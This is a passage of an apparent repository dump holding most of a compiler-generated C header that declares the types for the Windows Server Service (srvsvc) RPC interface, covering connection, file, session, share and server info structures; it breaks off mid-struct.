GDI_HANDLE );\n\n/* end of Additional Prototypes */\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\n\n\n"
  },
  {
    "path": "lib/ms-srvsvc_h.h",
    "content": "\n\n/* this ALWAYS GENERATED file contains the definitions for the interfaces */\n\n\n /* File created by MIDL compiler version 8.01.0628 */\n/* at Mon Jan 18 19:14:07 2038\n */\n/* Compiler settings for ms-srvsvc.idl:\n    Oicf, W1, Zp8, env=Win64 (32b run), target_arch=AMD64 8.01.0628 \n    protocol : all , ms_ext, c_ext, robust\n    error checks: allocation ref bounds_check enum stub_data \n    VC __declspec() decoration level: \n         __declspec(uuid()), __declspec(selectany), __declspec(novtable)\n         DECLSPEC_UUID(), MIDL_INTERFACE()\n*/\n/* @@MIDL_FILE_HEADING(  ) */\n\n\n\n/* verify that the <rpcndr.h> version is high enough to compile this file*/\n#ifndef __REQUIRED_RPCNDR_H_VERSION__\n#define __REQUIRED_RPCNDR_H_VERSION__ 500\n#endif\n\n#include \"rpc.h\"\n#include \"rpcndr.h\"\n\n#ifndef __RPCNDR_H_VERSION__\n#error this stub requires an updated version of <rpcndr.h>\n#endif /* __RPCNDR_H_VERSION__ */\n\n\n#ifndef __ms2Dsrvsvc_h_h__\n#define __ms2Dsrvsvc_h_h__\n\n#if defined(_MSC_VER) && (_MSC_VER >= 1020)\n#pragma once\n#endif\n\n#ifndef DECLSPEC_XFGVIRT\n#if defined(_CONTROL_FLOW_GUARD_XFG)\n#define DECLSPEC_XFGVIRT(base, func) __declspec(xfg_virtual(base, func))\n#else\n#define DECLSPEC_XFGVIRT(base, func)\n#endif\n#endif\n\n/* Forward Declarations */ \n\n#ifdef __cplusplus\nextern \"C\"{\n#endif \n\n\n#ifndef __srvsvc_INTERFACE_DEFINED__\n#define __srvsvc_INTERFACE_DEFINED__\n\n/* interface srvsvc */\n/* [unique][ms_union][version][uuid] */ \n\ntypedef int BOOL;\n\ntypedef int *PBOOL;\n\ntypedef int *LPBOOL;\n\ntypedef unsigned char BYTE;\n\ntypedef unsigned char *PBYTE;\n\ntypedef unsigned char *LPBYTE;\n\ntypedef BYTE BOOLEAN;\n\ntypedef BYTE *PBOOLEAN;\n\ntypedef wchar_t WCHAR;\n\ntypedef wchar_t *PWCHAR;\n\ntypedef WCHAR *BSTR;\n\ntypedef double DOUBLE;\n\ntypedef unsigned long DWORD;\n\ntypedef unsigned long *PDWORD;\n\ntypedef unsigned long *LPDWORD;\n\ntypedef unsigned int DWORD32;\n\ntypedef unsigned __int64 DWORD64;\n\ntypedef unsigned __int64 *PDWORD64;\n\ntypedef unsigned __int64 ULONGLONG;\n\ntypedef ULONGLONG DWORDLONG;\n\ntypedef ULONGLONG *PDWORDLONG;\n\ntypedef unsigned char UCHAR;\n\ntypedef unsigned char *PUCHAR;\n\ntypedef void *HANDLE;\n\ntypedef DWORD HCALL;\n\ntypedef int INT;\n\ntypedef int *LPINT;\n\ntypedef signed char INT8;\n\ntypedef short INT16;\n\ntypedef int INT32;\n\ntypedef __int64 INT64;\n\ntypedef void *LDAP_UDP_HANDLE;\n\ntypedef const wchar_t *LMCSTR;\n\ntypedef WCHAR *LMSTR;\n\ntypedef long LONG;\n\ntypedef long *PLONG;\n\ntypedef long *LPLONG;\n\ntypedef __int64 LONGLONG;\n\ntypedef LONG HRESULT;\n\ntypedef /* [custom] */ __int3264 LONG_PTR;\n\ntypedef /* [custom] */ unsigned __int3264 ULONG_PTR;\n\ntypedef int LONG32;\n\ntypedef __int64 LONG64;\n\ntypedef __int64 *PLONG64;\n\ntypedef const void *LPCVOID;\n\ntypedef wchar_t *LPWSTR;\n\ntypedef wchar_t *PWSTR;\n\ntypedef DWORD NET_API_STATUS;\n\ntypedef long NTSTATUS;\n\ntypedef /* [context_handle] */ void *PCONTEXT_HANDLE;\n\ntypedef /* [ref] */ PCONTEXT_HANDLE *PPCONTEXT_HANDLE;\n\ntypedef const wchar_t *LPCWSTR;\n\ntypedef unsigned int UINT;\n\ntypedef unsigned char UINT8;\n\ntypedef unsigned short UINT16;\n\ntypedef unsigned int UINT32;\n\ntypedef unsigned __int64 UINT64;\n\ntypedef unsigned long ULONG;\n\ntypedef unsigned long *PULONG;\n\ntypedef unsigned __int64 QWORD;\n\ntypedef void *RPC_BINDING_HANDLE;\n\ntypedef UCHAR *STRING;\n\ntypedef ULONG_PTR DWORD_PTR;\n\ntypedef ULONG_PTR SIZE_T;\n\ntypedef unsigned int ULONG32;\n\ntypedef unsigned __int64 ULONG64;\n\ntypedef unsigned short USHORT;\n\ntypedef void *PVOID;\n\ntypedef void *LPVOID;\n\ntypedef unsigned short WORD;\n\ntypedef unsigned short *PWORD;\n\ntypedef unsigned short *LPWORD;\n\ntypedef DWORD SECURITY_INFORMATION;\n\ntypedef DWORD *PSECURITY_INFORMATION;\n\n\n\ntypedef struct _GUID UUID;\n\ntypedef struct _GUID *PGUID;\n\ntypedef /* [string][handle] */ wchar_t *SRVSVC_HANDLE;\n\ntypedef struct _CONNECTION_INFO_0\n    {\n    DWORD coni0_id;\n    } \tCONNECTION_INFO_0;\n\ntypedef struct _CONNECTION_INFO_0 *PCONNECTION_INFO_0;\n\ntypedef struct _CONNECTION_INFO_0 *LPCONNECTION_INFO_0;\n\ntypedef struct _CONNECT_INFO_0_CONTAINER\n    {\n    DWORD EntriesRead;\n    /* [size_is] */ LPCONNECTION_INFO_0 Buffer;\n    } \tCONNECT_INFO_0_CONTAINER;\n\ntypedef struct _CONNECT_INFO_0_CONTAINER *PCONNECT_INFO_0_CONTAINER;\n\ntypedef struct _CONNECT_INFO_0_CONTAINER *LPCONNECT_INFO_0_CONTAINER;\n\ntypedef struct _CONNECTION_INFO_1\n    {\n    DWORD coni1_id;\n    DWORD coni1_type;\n    DWORD coni1_num_opens;\n    DWORD coni1_num_users;\n    DWORD coni1_time;\n    /* [string] */ wchar_t *coni1_username;\n    /* [string] */ wchar_t *coni1_netname;\n    } \tCONNECTION_INFO_1;\n\ntypedef struct _CONNECTION_INFO_1 *PCONNECTION_INFO_1;\n\ntypedef struct _CONNECTION_INFO_1 *LPCONNECTION_INFO_1;\n\ntypedef struct _CONNECT_INFO_1_CONTAINER\n    {\n    DWORD EntriesRead;\n    /* [size_is] */ LPCONNECTION_INFO_1 Buffer;\n    } \tCONNECT_INFO_1_CONTAINER;\n\ntypedef struct _CONNECT_INFO_1_CONTAINER *PCONNECT_INFO_1_CONTAINER;\n\ntypedef struct _CONNECT_INFO_1_CONTAINER *LPCONNECT_INFO_1_CONTAINER;\n\ntypedef /* [switch_type] */ union _CONNECT_ENUM_UNION\n    {\n    /* [case()] */ CONNECT_INFO_0_CONTAINER *Level0;\n    /* [case()] */ CONNECT_INFO_1_CONTAINER *Level1;\n    } \tCONNECT_ENUM_UNION;\n\ntypedef struct _CONNECT_ENUM_STRUCT\n    {\n    DWORD Level;\n    /* [switch_is] */ CONNECT_ENUM_UNION ConnectInfo;\n    } \tCONNECT_ENUM_STRUCT;\n\ntypedef struct _CONNECT_ENUM_STRUCT *PCONNECT_ENUM_STRUCT;\n\ntypedef struct _CONNECT_ENUM_STRUCT *LPCONNECT_ENUM_STRUCT;\n\ntypedef struct _FILE_INFO_2\n    {\n    DWORD fi2_id;\n    } \tFILE_INFO_2;\n\ntypedef struct _FILE_INFO_2 *PFILE_INFO_2;\n\ntypedef struct _FILE_INFO_2 *LPFILE_INFO_2;\n\ntypedef struct _FILE_INFO_2_CONTAINER\n    {\n    DWORD EntriesRead;\n    /* [size_is] */ LPFILE_INFO_2 Buffer;\n    } \tFILE_INFO_2_CONTAINER;\n\ntypedef struct _FILE_INFO_2_CONTAINER *PFILE_INFO_2_CONTAINER;\n\ntypedef struct _FILE_INFO_2_CONTAINER *LPFILE_INFO_2_CONTAINER;\n\ntypedef struct _FILE_INFO_3\n    {\n    DWORD fi3_id;\n    DWORD fi3_permissions;\n    DWORD fi3_num_locks;\n    /* [string] */ wchar_t *fi3_pathname;\n    /* [string] */ wchar_t *fi3_username;\n    } \tFILE_INFO_3;\n\ntypedef struct _FILE_INFO_3 *PFILE_INFO_3;\n\ntypedef struct _FILE_INFO_3 *LPFILE_INFO_3;\n\ntypedef struct _FILE_INFO_3_CONTAINER\n    {\n    DWORD EntriesRead;\n    /* [size_is] */ LPFILE_INFO_3 Buffer;\n    } \tFILE_INFO_3_CONTAINER;\n\ntypedef struct _FILE_INFO_3_CONTAINER *PFILE_INFO_3_CONTAINER;\n\ntypedef struct _FILE_INFO_3_CONTAINER *LPFILE_INFO_3_CONTAINER;\n\ntypedef /* [switch_type] */ union _FILE_ENUM_UNION\n    {\n    /* [case()] */ FILE_INFO_2_CONTAINER *Level2;\n    /* [case()] */ FILE_INFO_3_CONTAINER *Level3;\n    } \tFILE_ENUM_UNION;\n\ntypedef struct _FILE_ENUM_STRUCT\n    {\n    DWORD Level;\n    /* [switch_is] */ FILE_ENUM_UNION FileInfo;\n    } \tFILE_ENUM_STRUCT;\n\ntypedef struct _FILE_ENUM_STRUCT *PFILE_ENUM_STRUCT;\n\ntypedef struct _FILE_ENUM_STRUCT *LPFILE_ENUM_STRUCT;\n\ntypedef /* [switch_type] */ union _FILE_INFO\n    {\n    /* [case()] */ LPFILE_INFO_2 FileInfo2;\n    /* [case()] */ LPFILE_INFO_3 FileInfo3;\n    } \tFILE_INFO;\n\ntypedef /* [switch_type] */ union _FILE_INFO *PFILE_INFO;\n\ntypedef /* [switch_type] */ union _FILE_INFO *LPFILE_INFO;\n\ntypedef struct _SESSION_INFO_0\n    {\n    /* [string] */ wchar_t *sesi0_cname;\n    } \tSESSION_INFO_0;\n\ntypedef struct _SESSION_INFO_0 *PSESSION_INFO_0;\n\ntypedef struct _SESSION_INFO_0 *LPSESSION_INFO_0;\n\ntypedef struct _SESSION_INFO_0_CONTAINER\n    {\n    DWORD EntriesRead;\n    /* [size_is] */ LPSESSION_INFO_0 Buffer;\n    } \tSESSION_INFO_0_CONTAINER;\n\ntypedef struct _SESSION_INFO_0_CONTAINER *PSESSION_INFO_0_CONTAINER;\n\ntypedef struct _SESSION_INFO_0_CONTAINER *LPSESSION_INFO_0_CONTAINER;\n\ntypedef struct _SESSION_INFO_1\n    {\n    /* [string] */ wchar_t *sesi1_cname;\n    /* [string] */ wchar_t *sesi1_username;\n    DWORD sesi1_num_opens;\n    DWORD sesi1_time;\n    DWORD sesi1_idle_time;\n    DWORD sesi1_user_flags;\n    } \tSESSION_INFO_1;\n\ntypedef struct _SESSION_INFO_1 *PSESSION_INFO_1;\n\ntypedef struct _SESSION_INFO_1 *LPSESSION_INFO_1;\n\ntypedef struct _SESSION_INFO_1_CONTAINER\n    {\n    DWORD EntriesRead;\n    /* [size_is] */ LPSESSION_INFO_1 Buffer;\n    } \tSESSION_INFO_1_CONTAINER;\n\ntypedef struct _SESSION_INFO_1_CONTAINER *PSESSION_INFO_1_CONTAINER;\n\ntypedef struct _SESSION_INFO_1_CONTAINER *LPSESSION_INFO_1_CONTAINER;\n\ntypedef struct _SESSION_INFO_2\n    {\n    /* [string] */ wchar_t *sesi2_cname;\n    /* [string] */ wchar_t *sesi2_username;\n    DWORD sesi2_num_opens;\n    DWORD sesi2_time;\n    DWORD sesi2_idle_time;\n    DWORD sesi2_user_flags;\n    /* [string] */ wchar_t *sesi2_cltype_name;\n    } \tSESSION_INFO_2;\n\ntypedef struct _SESSION_INFO_2 *PSESSION_INFO_2;\n\ntypedef struct _SESSION_INFO_2 *LPSESSION_INFO_2;\n\ntypedef struct _SESSION_INFO_2_CONTAINER\n    {\n    DWORD EntriesRead;\n    /* [size_is] */ LPSESSION_INFO_2 Buffer;\n    } \tSESSION_INFO_2_CONTAINER;\n\ntypedef struct _SESSION_INFO_2_CONTAINER *PSESSION_INFO_2_CONTAINER;\n\ntypedef struct _SESSION_INFO_2_CONTAINER *LPSESSION_INFO_2_CONTAINER;\n\ntypedef struct _SESSION_INFO_10\n    {\n    /* [string] */ wchar_t *sesi10_cname;\n    /* [string] */ wchar_t *sesi10_username;\n    DWORD sesi10_time;\n    DWORD sesi10_idle_time;\n    } \tSESSION_INFO_10;\n\ntypedef struct _SESSION_INFO_10 *PSESSION_INFO_10;\n\ntypedef struct _SESSION_INFO_10 *LPSESSION_INFO_10;\n\ntypedef struct _SESSION_INFO_10_CONTAINER\n    {\n    DWORD EntriesRead;\n    /* [size_is] */ LPSESSION_INFO_10 Buffer;\n    } \tSESSION_INFO_10_CONTAINER;\n\ntypedef struct _SESSION_INFO_10_CONTAINER *PSESSION_INFO_10_CONTAINER;\n\ntypedef struct _SESSION_INFO_10_CONTAINER *LPSESSION_INFO_10_CONTAINER;\n\ntypedef struct _SESSION_INFO_502\n    {\n    /* [string] */ wchar_t *sesi502_cname;\n    /* [string] */ wchar_t *sesi502_username;\n    DWORD sesi502_num_opens;\n    DWORD sesi502_time;\n    DWORD sesi502_idle_time;\n    DWORD sesi502_user_flags;\n    /* [string] */ wchar_t *sesi502_cltype_name;\n    /* [string] */ wchar_t *sesi502_transport;\n    } \tSESSION_INFO_502;\n\ntypedef struct _SESSION_INFO_502 *PSESSION_INFO_502;\n\ntypedef struct _SESSION_INFO_502 *LPSESSION_INFO_502;\n\ntypedef struct _SESSION_INFO_502_CONTAINER\n    {\n    DWORD EntriesRead;\n    /* [size_is] */ LPSESSION_INFO_502 Buffer;\n    } \tSESSION_INFO_502_CONTAINER;\n\ntypedef struct _SESSION_INFO_502_CONTAINER *PSESSION_INFO_502_CONTAINER;\n\ntypedef struct _SESSION_INFO_502_CONTAINER *LPSESSION_INFO_502_CONTAINER;\n\ntypedef /* [switch_type] */ union _SESSION_ENUM_UNION\n    {\n    /* [case()] */ SESSION_INFO_0_CONTAINER *Level0;\n    /* [case()] */ SESSION_INFO_1_CONTAINER *Level1;\n    /* [case()] */ SESSION_INFO_2_CONTAINER *Level2;\n    /* [case()] */ SESSION_INFO_10_CONTAINER *Level10;\n    /* [case()] */ SESSION_INFO_502_CONTAINER *Level502;\n    } \tSESSION_ENUM_UNION;\n\ntypedef struct _SESSION_ENUM_STRUCT\n    {\n    DWORD Level;\n    /* [switch_is] */ SESSION_ENUM_UNION SessionInfo;\n    } \tSESSION_ENUM_STRUCT;\n\ntypedef struct _SESSION_ENUM_STRUCT *PSESSION_ENUM_STRUCT;\n\ntypedef struct _SESSION_ENUM_STRUCT *LPSESSION_ENUM_STRUCT;\n\ntypedef struct _SHARE_INFO_502_I\n    {\n    /* [string] */ WCHAR *shi502_netname;\n    DWORD shi502_type;\n    /* [string] */ WCHAR *shi502_remark;\n    DWORD shi502_permissions;\n    DWORD shi502_max_uses;\n    DWORD shi502_current_uses;\n    /* [string] */ WCHAR *shi502_path;\n    /* [string] */ WCHAR *shi502_passwd;\n    DWORD shi502_reserved;\n    /* [size_is] */ unsigned char *shi502_security_descriptor;\n    } \tSHARE_INFO_502_I;\n\ntypedef struct _SHARE_INFO_502_I *PSHARE_INFO_502_I;\n\ntypedef struct _SHARE_INFO_502_I *LPSHARE_INFO_502_I;\n\ntypedef struct _SHARE_INFO_503_I\n    {\n    /* [string] */ WCHAR *shi503_netname;\n    DWORD shi503_type;\n    /* [string] */ WCHAR *shi503_remark;\n    DWORD shi503_permissions;\n    DWORD shi503_max_uses;\n    DWORD shi503_current_uses;\n    /* [string] */ WCHAR *shi503_path;\n    /* [string] */ WCHAR *shi503_passwd;\n    /* [string] */ WCHAR *shi503_servername;\n    DWORD shi503_reserved;\n    /* [size_is] */ PUCHAR shi503_security_descriptor;\n    } \tSHARE_INFO_503_I;\n\ntypedef struct _SHARE_INFO_503_I *PSHARE_INFO_503_I;\n\ntypedef struct _SHARE_INFO_503_I *LPSHARE_INFO_503_I;\n\ntypedef struct _SHARE_INFO_503_CONTAINER\n    {\n    DWORD EntriesRead;\n    /* [size_is] */ LPSHARE_INFO_503_I Buffer;\n    } \tSHARE_INFO_503_CONTAINER;\n\ntypedef struct _SHARE_INFO_503_CONTAINER *PSHARE_INFO_503_CONTAINER;\n\ntypedef struct _SHARE_INFO_503_CONTAINER *LPSHARE_INFO_503_CONTAINER;\n\ntypedef struct _SHARE_INFO_1501_I\n    {\n    DWORD shi1501_reserved;\n    /* [size_is] */ unsigned char *shi1501_security_descriptor;\n    } \tSHARE_INFO_1501_I;\n\ntypedef struct _SHARE_INFO_1501_I *PSHARE_INFO_1501_I;\n\ntypedef struct _SHARE_INFO_1501_I *LPSHARE_INFO_1501_I;\n\ntypedef struct _SHARE_INFO_0\n    {\n    /* [string] */ wchar_t *shi0_netname;\n    } \tSHARE_INFO_0;\n\ntypedef struct _SHARE_INFO_0 *PSHARE_INFO_0;\n\ntypedef struct _SHARE_INFO_0 *LPSHARE_INFO_0;\n\ntypedef struct _SHARE_INFO_0_CONTAINER\n    {\n    DWORD EntriesRead;\n    /* [size_is] */ LPSHARE_INFO_0 Buffer;\n    } \tSHARE_INFO_0_CONTAINER;\n\ntypedef struct _SHARE_INFO_1\n    {\n    /* [string] */ wchar_t *shi1_netname;\n    DWORD shi1_type;\n    /* [string] */ wchar_t *shi1_remark;\n    } \tSHARE_INFO_1;\n\ntypedef struct _SHARE_INFO_1 *PSHARE_INFO_1;\n\ntypedef struct _SHARE_INFO_1 *LPSHARE_INFO_1;\n\ntypedef struct _SHARE_INFO_1_CONTAINER\n    {\n    DWORD EntriesRead;\n    /* [size_is] */ LPSHARE_INFO_1 Buffer;\n    } \tSHARE_INFO_1_CONTAINER;\n\ntypedef struct _SHARE_INFO_2\n    {\n    /* [string] */ wchar_t *shi2_netname;\n    DWORD shi2_type;\n    /* [string] */ wchar_t *shi2_remark;\n    DWORD shi2_permissions;\n    DWORD shi2_max_uses;\n    DWORD shi2_current_uses;\n    /* [string] */ wchar_t *shi2_path;\n    /* [string] */ wchar_t *shi2_passwd;\n    } \tSHARE_INFO_2;\n\ntypedef struct _SHARE_INFO_2 *PSHARE_INFO_2;\n\ntypedef struct _SHARE_INFO_2 *LPSHARE_INFO_2;\n\ntypedef struct _SHARE_INFO_2_CONTAINER\n    {\n    DWORD EntriesRead;\n    /* [size_is] */ LPSHARE_INFO_2 Buffer;\n    } \tSHARE_INFO_2_CONTAINER;\n\ntypedef struct _SHARE_INFO_2_CONTAINER *PSHARE_INFO_2_CONTAINER;\n\ntypedef struct _SHARE_INFO_2_CONTAINER *LPSHARE_INFO_2_CONTAINER;\n\ntypedef struct _SHARE_INFO_501\n    {\n    /* [string] */ wchar_t *shi501_netname;\n    DWORD shi501_type;\n    /* [string] */ wchar_t *shi501_remark;\n    DWORD shi501_flags;\n    } \tSHARE_INFO_501;\n\ntypedef struct _SHARE_INFO_501 *PSHARE_INFO_501;\n\ntypedef struct _SHARE_INFO_501 *LPSHARE_INFO_501;\n\ntypedef struct _SHARE_INFO_501_CONTAINER\n    {\n    DWORD EntriesRead;\n    /* [size_is] */ LPSHARE_INFO_501 Buffer;\n    } \tSHARE_INFO_501_CONTAINER;\n\ntypedef struct _SHARE_INFO_501_CONTAINER *PSHARE_INFO_501_CONTAINER;\n\ntypedef struct _SHARE_INFO_501_CONTAINER *LPSHARE_INFO_501_CONTAINER;\n\ntypedef struct _SHARE_INFO_502_CONTAINER\n    {\n    DWORD EntriesRead;\n    /* [size_is] */ LPSHARE_INFO_502_I Buffer;\n    } \tSHARE_INFO_502_CONTAINER;\n\ntypedef struct _SHARE_INFO_502_CONTAINER *PSHARE_INFO_502_CONTAINER;\n\ntypedef struct _SHARE_INFO_502_CONTAINER *LPSHARE_INFO_502_CONTAINER;\n\ntypedef /* [switch_type] */ union _SHARE_ENUM_UNION\n    {\n    /* [case()] */ SHARE_INFO_0_CONTAINER *Level0;\n    /* [case()] */ SHARE_INFO_1_CONTAINER *Level1;\n    /* [case()] */ SHARE_INFO_2_CONTAINER *Level2;\n    /* [case()] */ SHARE_INFO_501_CONTAINER *Level501;\n    /* [case()] */ SHARE_INFO_502_CONTAINER *Level502;\n    /* [case()] */ SHARE_INFO_503_CONTAINER *Level503;\n    } \tSHARE_ENUM_UNION;\n\ntypedef struct _SHARE_ENUM_STRUCT\n    {\n    DWORD Level;\n    /* [switch_is] */ SHARE_ENUM_UNION ShareInfo;\n    } \tSHARE_ENUM_STRUCT;\n\ntypedef struct _SHARE_ENUM_STRUCT *PSHARE_ENUM_STRUCT;\n\ntypedef struct _SHARE_ENUM_STRUCT *LPSHARE_ENUM_STRUCT;\n\ntypedef struct _SHARE_INFO_1004\n    {\n    /* [string] */ wchar_t *shi1004_remark;\n    } \tSHARE_INFO_1004;\n\ntypedef struct _SHARE_INFO_1004 *PSHARE_INFO_1004;\n\ntypedef struct _SHARE_INFO_1004 *LPSHARE_INFO_1004;\n\ntypedef struct _SHARE_INFO_1006\n    {\n    DWORD shi1006_max_uses;\n    } \tSHARE_INFO_1006;\n\ntypedef struct _SHARE_INFO_1006 *PSHARE_INFO_1006;\n\ntypedef struct _SHARE_INFO_1006 *LPSHARE_INFO_1006;\n\ntypedef struct _SHARE_INFO_1005\n    {\n    DWORD shi1005_flags;\n    } \tSHARE_INFO_1005;\n\ntypedef struct _SHARE_INFO_1005 *PSHARE_INFO_1005;\n\ntypedef struct _SHARE_INFO_1005 *LPSHARE_INFO_1005;\n\ntypedef /* [switch_type] */ union _SHARE_INFO\n    {\n    /* [case()] */ LPSHARE_INFO_0 ShareInfo0;\n    /* [case()] */ LPSHARE_INFO_1 ShareInfo1;\n    /* [case()] */ LPSHARE_INFO_2 ShareInfo2;\n    /* [case()] */ LPSHARE_INFO_502_I ShareInfo502;\n    /* [case()] */ LPSHARE_INFO_1004 ShareInfo1004;\n    /* [case()] */ LPSHARE_INFO_1006 ShareInfo1006;\n    /* [case()] */ LPSHARE_INFO_1501_I ShareInfo1501;\n    /* [default] */  /* Empty union arm */ \n    /* [case()] */ LPSHARE_INFO_1005 ShareInfo1005;\n    /* [case()] */ LPSHARE_INFO_501 ShareInfo501;\n    /* [case()] */ LPSHARE_INFO_503_I ShareInfo503;\n    } \tSHARE_INFO;\n\ntypedef /* [switch_type] */ union _SHARE_INFO *PSHARE_INFO;\n\ntypedef /* [switch_type] */ union _SHARE_INFO *LPSHARE_INFO;\n\ntypedef struct _SERVER_INFO_100\n    {\n    DWORD sv100_platform_id;\n    /* [string] */ wchar_t *sv100_name;\n    } \tSERVER_INFO_100;\n\ntypedef struct _SERVER_INFO_100 *PSERVER_INFO_100;\n\ntypedef struct _SERVER_INFO_100 *LPSERVER_INFO_100;\n\ntypedef struct _SERVER_INFO_101\n    {\n    DWORD sv101_platform_id;\n    /* [string] */ wchar_t *sv101_name;\n    DWORD sv101_version_major;\n    DWORD sv101_version_minor;\n    DWORD sv101_type;\n    /* [string] */ wchar_t *sv101_comment;\n    } \tSERVER_INFO_101;\n\ntypedef struct _SERVER_INFO_101 *PSERVER_INFO_101;\n\ntypedef struct _SERVER_INFO_101 *LPSERVER_INFO_101;\n\ntypedef struct _SERVER_INFO_102\n    {\n    DWORD sv102_platform_id;\n    /* [string] */ wchar_t *sv102_name;\n    DWORD sv102_version_major;\n    DWORD sv102_version_minor;\n    DWORD sv102_type;\n    /* [string] */ wchar_t *sv102_comment;\n    DWORD sv102_users;\n    long sv102_disc;\n    int sv102_hidden;\n    DWORD sv102_announce;\n    DWORD sv102_anndelta;\n    DWORD sv102_licenses;\n    /* [string] */ wchar_t *sv102_userpath;\n    } \tSERVER_INFO_102;\n\ntypedef struct _SERVER_INFO_102 *PSERVER_INFO_102;\n\ntypedef struct _SERVER_INFO_102 *LPSERVER_INFO_102;\n\ntypedef struct _SERVER_INFO_103\n    {\n    DWORD sv103_platform_id;\n    /* [string] */ wchar_t *sv103_name;\n    DWORD sv103_version_major;\n    DWORD sv103_version_minor;\n    DWORD sv103_type;\n    /* [string] */ wchar_t *sv103_comment;\n    DWORD sv103_users;\n    LONG sv103_disc;\n    BOOL sv103_hidden;\n    DWORD sv103_announce;\n    DWORD sv103_anndelta;\n    DWORD sv103_licenses;\n    /* [string] */ wchar_t *sv103_userpath;\n    DWORD sv103_capabilities;\n    } \tSERVER_INFO_103;\n\ntypedef struct _SERVER_INFO_103 *PSERVER_INFO_103;\n\ntypedef struct _SERVER_INFO_103 *LPSERVER_INFO_103;\n\ntypedef struct _SERVER_INFO_502\n    {\n    DWORD sv502_sessopens;\n    DWORD sv502_sessvcs;\n    DWORD sv502_opensearch;\n    DWORD sv502_sizreqbuf;\n    DWORD sv502_initworkitems;\n    DWORD sv502_maxworkitems;\n    DWORD sv502_rawworkitems;\n    DWORD sv502_irpstacksize;\n    DWORD sv502_maxrawbuflen;\n    DWORD sv502_sessusers;\n    DWORD sv502_sessconns;\n    DWORD sv502_maxpagedmemoryusage;\n    DWORD sv502_maxnonpagedmemoryusage;\n    int sv502_enablesoftcompat;\n    int sv502_enableforcedlogoff;\n    int sv502_timesource;\n    int sv502_acceptdownlevelapis;\n    int sv502_lmannounce;\n    } \tSERVER_INFO_502;\n\ntypedef struct _SERVER_INFO_502 *PSERVER_INFO_502;\n\ntypedef struct _SERVER_INFO_502 *LPSERVER_INFO_502;\n\ntypedef struct _SERVER_INFO_503\n    {\n    DWORD sv503_sessopens;\n    DWORD sv503_sessvcs;\n    DWORD sv503_opensearch;\n    DWORD sv503_sizreqbuf;\n    DWORD sv503_initworkitems;\n    DWORD sv503_maxworkitems;\n    DWORD sv503_rawworkitems;\n    DWORD sv503_irpstacksize;\n    DWORD sv503_maxrawbuflen;\n    DWORD sv503_sessusers;\n    DWORD sv503_sessconns;\n    DWORD sv503_maxpagedmemoryusage;\n    DWORD sv503_maxnonpagedmemoryusage;\n    int sv503_enablesoftcompat;\n    int sv503_enableforcedlogoff;\n    int sv503_timesource;\n    int sv503_acceptdownlevelapis;\n    int sv503_lmannounce;\n    /* [string] */ wchar_t *sv503_domain;\n    DWORD sv503_maxcopyreadlen;\n    DWORD sv503_maxcopywritelen;\n    DWORD sv503_minkeepsearch;\n    DWORD sv503_maxkeepsearch;\n    DWORD sv503_minkeepcomplsearch;\n    DWORD sv503_maxkeepcomplsearch;\n    DWORD sv503_threadcountadd;\n    DWORD sv503_numblockthreads;\n    DWORD sv503_scavtimeout;\n    DWORD sv503_minrcvqueue;\n    DWORD sv503_minfreeworkitems;\n    DWORD sv503_xactmemsize;\n    DWORD sv503_threadpriority;\n    DWORD sv503_maxmpxct;\n    DWORD sv503_oplockbreakwait;\n    DWORD sv503_oplockbreakresponsewait;\n    int sv503_enableoplocks;\n    int sv503_enableoplockforceclose;\n    int sv503_enablefcbopens;\n    int sv503_enableraw;\n    int sv503_enablesharednetdrives;\n    DWORD sv503_minfreeconnections;\n    DWORD sv503_maxfreeconnections;\n    } \tSERVER_INFO_503;\n\ntypedef struct _SERVER_INFO_503 *PSERVER_INFO_503;\n\ntypedef struct _SERVER_INFO_503 *LPSERVER_INFO_503;\n\ntypedef struct _SERVER_INFO_599\n    {\n    DWORD sv599_sessopens;\n    DWORD sv599_sessvcs;\n    DWORD sv599_opensearch;\n    DWORD sv599_sizreqbuf;\n    DWORD sv599_initworkitems;\n    DWORD sv599_maxworkitems;\n    DWORD sv599_rawworkitems;\n    DWORD sv599_irpstacksize;\n    DWORD sv599_maxrawbuflen;\n    DWORD sv599_sessusers;\n    DWORD sv599_sessconns;\n    DWORD sv599_maxpagedmemoryusage;\n    DWORD sv599_maxnonpagedmemoryusage;\n    int sv599_enablesoftcompat;\n    int sv599_enableforcedlogoff;\n    int sv599_timesource;\n    int sv599_acceptdownlevelapis;\n    int sv599_lmannounce;\n    /* [string] */ wchar_t *sv599_domain;\n    DWORD sv599_maxcopyreadlen;\n    DWORD sv599_maxcopywritelen;\n    DWORD sv599_minkeepsearch;\n    DWORD sv599_maxkeepsearch;\n    DWORD sv599_minkeepcomplsearch;\n    DWORD sv599_maxkeepcomplsearch;\n    DWORD sv599_threadcountadd;\n    DWORD sv599_numblockthreads;\n    DWORD sv599_scavtimeout;\n    DWORD sv599_minrcvqueue;\n    DWORD sv599_minfreeworkitems;\n    DWORD sv599_xactmemsize;\n    DWORD sv599_threadpriority;\n    DWORD sv599_maxmpxct;\n    DWORD sv599_oplockbreakwait;\n    DWORD sv599_oplockbreakresponsewait;\n    int sv599_enableoplocks;\n    int sv599_enableoplockforceclose;\n    int sv599_enablefcbopens;\n    int sv599_enableraw;\n    int sv599_enablesharednetdrives;\n    DWORD sv599_minfreeconnections;\n    DWORD sv599_maxfreeconnections;\n    DWORD sv599_initsesstable;\n    DWORD sv599_initconntable;\n    DWORD sv599_initfiletable;\n    DWORD sv599_initsearchtable;\n    DWORD sv599_alertschedule;\n    DWORD sv599_errorthreshold;\n    DWORD sv599_networkerrorthreshold;\n    DWORD sv599_diskspacethreshold;\n    DWORD sv599_reserved;\n    DWORD sv599_maxlinkdelay;\n    DWORD sv599_minlinkthroughput;\n    DWORD sv599_linkinfovalidtime;\n    DWORD sv599_scavqosinfoupdatetime;\n    DWORD sv599_maxworkitemidletime;\n    } \tSERVER_INFO_599;\n\ntypedef struct _SERVER_INFO_599 *PSERVER_INFO_599;\n\ntypedef struct _SERVER_INFO_599 *LPSERVER_INFO_599;\n\ntypedef struct _SERVER_INFO_1005\n    {\n    /* [string] */ wchar_t *sv1005_comment;\n    } \tSERVER_INFO_1005;\n\ntypedef struct _SERVER_INFO_1005 *PSERVER_INFO_1005;\n\ntypedef struct _SERVER_INFO_1005 *LPSERVER_INFO_1005;\n\ntypedef struct _SERVER_INFO_1107\n    {\n    DWORD sv1107_users;\n    } \tSERVER_INFO_1107;\n\ntypedef struct _SERVER_INFO_1107 *PSERVER_INFO_1107;\n\ntypedef struct _SERVER_INFO_1107 *LPSERVER_INFO_1107;\n\ntypedef struct _SERVER_INFO_1010\n    {\n    long sv1010_disc;\n    